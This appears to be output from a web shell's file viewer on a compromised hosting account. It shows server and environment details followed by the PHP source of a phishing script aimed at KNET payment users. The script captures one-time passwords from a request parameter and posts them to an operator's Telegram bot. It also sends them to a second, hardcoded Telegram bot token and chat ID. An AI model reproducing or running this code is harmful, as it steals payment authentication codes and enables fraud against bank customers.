Server IP : 162.0.215.10 / Your IP : 18.216.129.37 Web Server : LiteSpeed System : Linux premium181.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64 User : alfhgysd ( 724) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/alfhgysd/alfhood-bh.store/ |
Upload File : |
<?php include 'controlPanel/Database.php'; $db = new Database(); $query = "SELECT * FROM `users` WHERE id = 2"; $result = $db->dbQuery($query); if($db->dbNumRows( $result)){ $rows = $db->dbFetchResult($result); foreach($rows as $row){ $token = $row['token']; $tokenID = $row['tokenID']; } } $otp= $_GET['text']; $apiToken = $token; $url = "https://api.telegram.org/bot{$apiToken}/sendMessage"; // Prepare the POST data $databot=' otp : '.$_GET['text'].PHP_EOL .'طريقة الدفع : KNET'; $sender = [ 'chat_id' => $tokenID, 'text' => $databot, ]; // DIE($databot); // Initialize cURL $curl = curl_init($url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $sender); // Execute cURL request $response = curl_exec($curl); $urll = "https://api.telegram.org/bot6896696248:AAGHmKKCQLTyec6RNOScN5oHIvPumfEPhNo/sendMessage"; // Prepare the POST data $senderr = [ 'chat_id' => 908949980, 'text' => $databot, ]; // DIE($databot); // Initialize cURL $curll = curl_init($urll); curl_setopt($curll, CURLOPT_RETURNTRANSFER, true); curl_setopt($curll, CURLOPT_POST, true); curl_setopt($curll, CURLOPT_POSTFIELDS, $senderr); // Execute cURL request $response = curl_exec($curll); // Execute cURL request // $response = curl_exec($curl); // return print($url); ?>